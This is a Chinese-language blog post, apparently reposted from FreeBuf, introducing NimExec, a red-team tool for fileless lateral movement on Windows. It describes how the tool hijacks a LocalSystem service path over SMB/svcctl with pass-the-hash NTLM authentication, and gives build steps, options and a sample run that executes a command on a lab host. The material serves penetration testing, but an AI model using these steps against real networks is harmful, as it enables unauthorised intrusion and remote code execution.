如何使用NimExec通过无文件命令执行实现横向移动

admin 2024年2月6日08:34:53评论11 views字数 2357阅读7分51秒阅读模式

如何使用NimExec通过无文件命令执行实现横向移动

关于NimExec

NimExec是一款功能强大的无文件远程命令执行工具,该工具专为红队研究人员设计,使用Nim语言开发,基于服务控制管理器远程协议(MS-SCMR)实现其功能,可以帮助广大研究人员在目标网络系统中实现横向移动。

如何使用NimExec通过无文件命令执行实现横向移动

工具运行机制

该工具可以修改LocalSystem运行的随机或给定服务的代码路径,以实现在目标设备上执行给定代码。执行完成后,该工具可以通过自定义的RPC数据包来恢复其初始状态。值得一提的是,该工具可以通过SMB2和svcctl命名管道来发送所有的数据包。

NimExec需要使用一个HTLM哈希来实现目标设备上的身份验证,然后通过手工制作的数据包和NTLM身份认证方法来完成身份验证过程。

由于所有需要的网络数据包都是手工制作的,并且不使用特定于操作系统的功能,因此通过使用Nim的交叉兼容性支持,NimExec可以在不同的操作系统中使用。

工具要求

Nim语言环境

测试平台

Windows 10/11

Windows Server 16/19/22

Ubuntu 20.04

工具下载

由于该工具基于Nim语言开发,因此我们首先需要在本地设备上安装并配置好Nim执行环境。

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/frkngksl/NimExec.git

然后我们可以使用下列命令并通过Nimble安装该工具所需的Nim模块:

nimble install ptr_math nimcrypto hostname

代码编译

nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

上述命令将使用不同的Garbage Collector,因为Nim的默认Garbage Collector会在服务搜索进程的过程中报SIGSEGV错误。

命令行参数
-v | --verbose                          启用Verbose模式输出    -u | --username <Username>            NTLM身份认证的用户名    -h | --hash <NTLM Hash>               NTLM身份认证的NTLM密码哈希    -p | --password <Password>            明文密码    -t | --target <Target>                    横向移动目标    -c | --command <Command>            要执行的命令    -d | --domain <Domain>                 NTLM身份认证域名    -s | --service <Service Name>            目标服务名称    --help                                  查看工具帮助信息
(右滑查看更多)
工具使用样例
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:UsersPublictest.txt"' -v                                                                                             _..._                                                                                               .-'_..._''.     _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '. .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            .   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              |  '   '  ||  ||  |  |  |  |  |/     /________    ____     _____/     /________   | |              |  |   |  ||  ||  |  |  |  |  ||                  |`.     .'    /|                  || |              |  |   |  ||  ||  |  |  |  |  |    .-------------'  `.  `'    .'     .-------------'. '              |  |   |  ||  ||  |  |  |  |  |     '-.____...---.    '.    .'        '-.____...---.  '.          .|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  |  |   |  |                                        .'   /    `.   `.                               `   '--'   '--'                                       '----'       '----'                                                                              @R0h1rr1m          [+] Connected to 10.200.2.2:445[+] NTLM Authentication with Hash is succesfull![+] Connected to IPC Share of target![+] Opened a handle for svcctl pipe![+] Bound to the RPC Interface![+] RPC Binding is acknowledged![+] SCManager handle is obtained![+] Number of obtained services: 265[+] Selected service is LxpSvc[+] Service: LxpSvc is opened![+] Previous Service Path is: C:Windowssystem32svchost.exe -k netsvcs[+] Service config is changed![!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)[+] Service start request is sent![+] Service config is restored![+] Service handle is closed![+] Service Manager handle is closed![+] SMB is closed![+] Tree is disconnected![+] Session logoff!
(右滑查看更多)
许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

NimExec

https://github.com/frkngksl/NimExec

原文始发于微信公众号(FreeBuf):如何使用NimExec通过无文件命令执行实现横向移动

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月6日08:34:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用NimExec通过无文件命令执行实现横向移动https://cn-sec.com/archives/2473600.html

发表评论

匿名网友 填写信息